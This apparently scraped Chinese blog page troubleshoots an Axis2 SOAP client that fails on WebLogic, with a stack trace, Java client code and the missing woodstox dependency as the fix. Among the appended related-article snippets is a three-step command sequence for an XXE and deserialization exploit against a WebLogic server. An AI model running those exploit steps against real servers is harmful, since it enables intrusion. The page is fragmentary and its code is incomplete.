weblogic部署axis2开发的客户端报错:Error reading XMLStreamReader: Undeclared namespace prefix "soapenv"
最新推荐文章于 2022-09-12 12:44:45 发布
最新推荐文章于 2022-09-12 12:44:45 发布
13396
Caused by: org.apache.axis2.AxisFault: Error reading XMLStreamReader: Undeclared namespace prefix "soapenv"
at [row,col {unknown-source}]: [1,56]
at org.apache.axis2.util.Utils.getInboundFaultFromMessageContext(Utils.java:508)
at org.apache.axis2.description.OutInAxisOperationClient.handleResponse(OutInAxisOperation.java:368)
at org.apache.axis2.description.OutInAxisOperationClient.send(OutInAxisOperation.java:414)
at org.apache.axis2.description.OutInAxisOperationClient.executeImpl(OutInAxisOperation.java:225)
at org.apache.axis2.client.OperationClient.execute(OperationClient.java:150)
at org.apache.axis2.client.ServiceClient.sendReceive(ServiceClient.java:533)
at org.apache.axis2.client.ServiceClient.sendReceive(ServiceClient.java:509)
at com.pansoft.bi.util.TWSUtil.sendSoapRequest(TWSUtil.java:29)
at com.pansoft.bi.task.processor.TWSBaseProcessor.sendRequest(TWSBaseProcessor.java:150)
at com.pansoft.bi.task.processor.TWSBaseProcessor.processTask(TWSBaseProcessor.java:77)
at com.pansoft.bi.task.service.classes.TBITaskService.executeBITask(TBITaskService.java:311)
at com.pansoft.bi.invoker.TWSInvoker.invoke(TWSInvoker.java:27)
at com.pansoft.bi.task.bizlib.TBizBITaskService.invokeWS(TBizBITaskService.java:110)
at com.pansoft.hx.bi.THXTaskSynchService.sendTask(THXTaskSynchService.java:85)
at com.pansoft.hx.bi.THXTaskSynchService.sendTask(THXTaskSynchService.java:54)
... 34 more>
在tomcat上面使用axis2客户端调用没问题
但是部署到weblogic会报错,
客户端开发方式:根据报文拼接调用,代码如下
import java.text.ParseException;
import java.util.Iterator;
import org.apache.axiom.om.OMAbstractFactory;
import org.apache.axiom.om.OMElement;
import org.apache.axiom.om.OMFactory;
import org.apache.axiom.om.OMNamespace;
import org.apache.axiom.soap.SOAPFactory;
import org.apache.axiom.soap.SOAPHeaderBlock;
import org.apache.axis2.AxisFault;
import org.apache.axis2.addressing.EndpointReference;
import org.apache.axis2.client.Options;
import org.apache.axis2.client.ServiceClient;
public class test {
public static void getMsg(){
try {
String url = "http://IP/jxindependent/services/api/standardInterfaceObjectAdapter";
Options options = new Options();
// 指定调用WebService的URL
EndpointReference targetEPR = new EndpointReference(url);
options.setTo(targetEPR);
ServiceClient sender = new ServiceClient();
sender.setOptions(options);
OMFactory fac = OMAbstractFactory.getOMFactory();
String tns = "http://service.web.custom.baiwang.com";
// 命名空间,有时命名空间不增加没事,不过最好加上,因为有时有事,你懂的
OMNamespace omNs = fac.createOMNamespace(tns, "ser");
//SOAPFactory sOAPFactory = OMAbstractFactory.getSOAP11Factory();
OMElement header=fac.createOMElement("soapenv",omNs);
//SOAPHeaderBlock soapHeader = sOAPFactory.createSOAPHeaderBlock("soapenv", omNs);
sender.addHeader(header);
OMElement method = fac.createOMElement("collect", omNs);
OMElement requestInfo = fac.createOMElement("requestInfo", null);
OMElement content = fac.createOMElement("content", null);
OMElement head = fac.createOMElement("head", null);
method.addChild(requestInfo);
requestInfo.addChild(content);
requestInfo.addChild(head);
//requestInfo.build();
// 参数content
OMElement billingDate = fac.createOMElement("billingDate", null);
OMElement checkCode = fac.createOMElement("checkCode", null);
OMElement invoiceCode = fac.createOMElement("invoiceCode", null);
OMElement invoiceNumber = fac.createOMElement("invoiceNumber", null);
OMElement totalAmount = fac.createOMElement("totalAmount", null);
// 给参数赋值
billingDate.setText("2018-04-04");
checkCode.setText("884274");
invoiceCode.setText("051001700107");
invoiceNumber.setText("42689932");
totalAmount.setText("40212.27");
content.addChild(billingDate);
content.addChild(checkCode);
content.addChild(invoiceCode);
content.addChild(invoiceNumber);
content.addChild(totalAmount);
//content.build();
//head
OMElement accessKeyID = fac.createOMElement("accessKeyID", null);
OMElement signature = fac.createOMElement("signature", null);
OMElement signatureNonce = fac.createOMElement("signatureNonce", null);
OMElement timeStamp = fac.createOMElement("timeStamp", null);
OMElement version = fac.createOMElement("version", null);
accessKeyID.setText("999999999_1000");
signature.setText("1cfb3cdc9df3443d04de0192c4879797");
signatureNonce.setText("2b657438dae54689a0d9fa44b981013f");
timeStamp.setText("2019-01-28T09:57:51Z");
version.setText("1.0");
head.addChild(accessKeyID);
head.addChild(signature);
head.addChild(signatureNonce);
head.addChild(timeStamp);
head.addChild(version);
//head.build();
method.build();
OMElement result = sender.sendReceive(method);
@SuppressWarnings("rawtypes")
Iterator itr = result.getChildElements();
while (itr.hasNext()) {
OMElement ome_l2 = (OMElement) itr.next();
System.out.println(ome_l2.getText());//此为你服务端传过来的xml内容,下一步,你需要解析xml
System.out.println(result);
System.out.println(result.getText());
} catch (AxisFault axisFault) {
axisFault.printStackTrace();
public static void main(String[] args) throws ParseException {
getMsg();
JSONObject obj=new JSONObject();
List<String> contentlist=new ArrayList<String>();
contentlist.add("billingDate");
contentlist.add("checkCode");
contentlist.add("invoiceCode");
contentlist.add("invoiceNumber");
contentlist.add("totalAmount");
obj.put("content", contentlist);
List<String> string = (List<String>)obj.get("content");
for (String string2 : string) {
System.out.println(string2);
//Date date = new SimpleDateFormat("yyyyMMdd").parse("20050609");
//String now = new SimpleDateFormat("yyyy-MM-dd").format(date);
//System.out.println(now);
double a=-1212.4599999;
String s31 = new DecimalFormat("0.00").format(a);
System.out.println(s31);
经过排查,原来是缺少jar包:woodstox-core-as.jar下面是maven地址
<!-- https://mvnrepository.com/artifact/org.codehaus.woodstox/woodstox-core-asl -->
<dependency>
<groupId>org.codehaus.woodstox</groupId>
<artifactId>woodstox-core-asl</artifactId>
<version>4.1.0</version>
</dependency>
weblogic部署axis2开发的客户端报错:Error reading XMLStreamReader: Undeclared namespace prefix "soapenv"
Caused by: org.apache.axis2.AxisFault: Error reading XMLStreamReader: Undeclared namespace prefix "soapenv" at [row,col {unknown-source}]: [1,56] at org.apache.axis2.util.Utils.getInboundFaultFromMe...
1)开启XXER工具python xxer.py -H 192.168.17.223
2)将xxer的poc放到xx.xml文件中,替换序列化后的数据,注入xxer的poc; java -jar weblogic_xxe.jar xx.xml
3)使用java-deserialization-exploit工具中的weblogic.py发送数据给weblogic服务器python weblogic.py 192.168.17.222 7001 weblogic
2014-6-13 10:24:19 org.apache.cxf.phase.PhaseInterceptorChain doDefaultLogging
警告: Interceptor for {http://xdaoimpl.test.com/}SayDaoImplService has thrown exception, unwinding now
org.apache.cxf.bin
我们的项目中webservice服务器已经搭建好,基于用axis2提供名为FaceDbService的人脸识别服务。现在的任务是用gosap开发C++版本的客户端,所以最近在尝试用gsoap生成的c++代码来调用webservice.
关于生成gsoap C++客户端代码及编译,参见我的前一篇博客《gsoap入门:C/C++代码生成及编译》。
测试代码下面是测试代码#include <sstre
soapUI调用报错:Error reading XMLStreamReader: Unexpected EOF in prolog
在使用soapUI的时候,我们经常会手动调整数据,以及对节点的调整,但是调整之后,有时候会报错这个错误。
详细的错误信息为:
org.apache.cxf.binding.soap.SoapFault: Error reading XMLStreamReader: Unexpected EOF in prolog
at [row,col {unknown-sourc
webserve调用的时候
报错。但不是每次都
报错,偶尔
报错。
原因,如果调用webserver的时候,传的参数是json类型,那么就会
报错。webserver也支持json但是兼容性不好。有时候会解析
报错,使用
xml的字符串报文就不会
报错。
如果你使用的就是
xml字符串报文,那就检查你的
xml是不是一个合法的
xml字符串。
使用Axis2这个webservice进行soap协议通讯,期间出了个问题,我(CLIENT)请求后,当服务端返回符合协议的SOAP异常报文,例如 ...
我的程序直接抛AxisFault异常,而正常来说,导致连服务端给我们的报文都没有接收成功。
--请注意,是我连报文都没有接收成功,而不是接收成功后我解析失败了。
try {
ServiceClient serv
有一次升级android开发工具后发现xml脚本出现错误“Unexpected namespace prefix "xmlns" found for tag LinearLayout”,原来是一个namespace声明只要在xml中出现一次就可以了,多次出现就报错
解决办法:
只保留第一个声明,后面的直接删除就OK了。...
org.apache.cxf.binding.soap.SoapFault: Error reading XMLStreamReader.
at org.apache.cxf.binding.soap.interceptor.ReadHeadersInterceptor.handleMessage(ReadHeadersInterceptor.java:230)
at org.apache.cxf
1. 将jar包上传到
WebLogic服务器上。您可以使用sftp或scp等工具将其上传到服务器。
2. 登录
WebLogic控制台。在浏览器中输入控制台的URL(例如http://localhost:7001/console)并使用管理员凭证登录。
3. 在左侧导航栏中,单击“Deployments”(
部署)选项。
4. 单击“Install”(安装)按钮,在弹出的对话框中选择要安装的文件。
5. 选择您要
部署的jar包并单击“Next”(下一步)。
6. 在“Deployment Plan”(
部署计划)页面上,选择您的
部署计划,并单击“Next”(下一步)。
7. 在“Target Selection”(目标选择)页面上,选择您要将jar包
部署到的
WebLogic服务器或群集,并单击“Next”(下一步)。
8. 在“Configuration”(配置)页面上,指定您的应用程序名称、上下文根路径和其他配置参数。单击“Next”(下一步)。
9. 在“Summary”(摘要)页面上,确认您的配置,并单击“Finish”(完成)。
10. 在
WebLogic控制台中,选择“Deployments”(
部署)选项卡,您将在列表中看到您刚刚
部署的应用程序。
11. 单击应用程序名称,然后单击“Control”(控制)选项卡,您可以启动、停止或重新启动应用程序。
weblogic部署axis2开发的客户端报错:Error reading XMLStreamReader: Undeclared namespace prefix "soapenv"
13395